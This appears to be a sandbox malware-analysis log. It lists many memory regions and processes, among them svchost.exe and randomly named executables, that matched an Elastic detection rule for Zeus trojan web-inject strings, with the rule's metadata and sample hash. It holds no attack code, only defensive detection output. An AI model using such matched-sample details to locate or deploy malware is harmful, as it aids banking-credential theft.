Source: 0000000B.00000002.2649599507.0000000003270000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2776308232.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000007.00000002.2635595118.0000000001040000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2788341406.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2809880778.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000024.00000002.2845868580.00000000015B0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2785726916.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2787182616.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2758822752.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2809200397.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2757164455.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2775825052.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2168388667.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2776041284.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2790907170.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2794030784.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2774710797.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2170461210.0000000002A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2792838901.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2773445866.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2791900704.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2789409871.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2784224437.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2790002799.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001B.00000002.2728043702.0000000003040000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000006.00000002.2605946728.0000000001240000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000000B.00000002.2639594297.0000000002EA0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2810131303.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000009.00000002.2610520727.00000000009C0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000027.00000002.2872659642.0000000000D30000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2707114238.0000000003C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2678865886.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: UMwpXhA46R.exe PID: 7020, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: svchost.exe PID: 1112, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 6912, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 1220, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 2268, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 3472, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 1492, type: MEMORYSTR	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
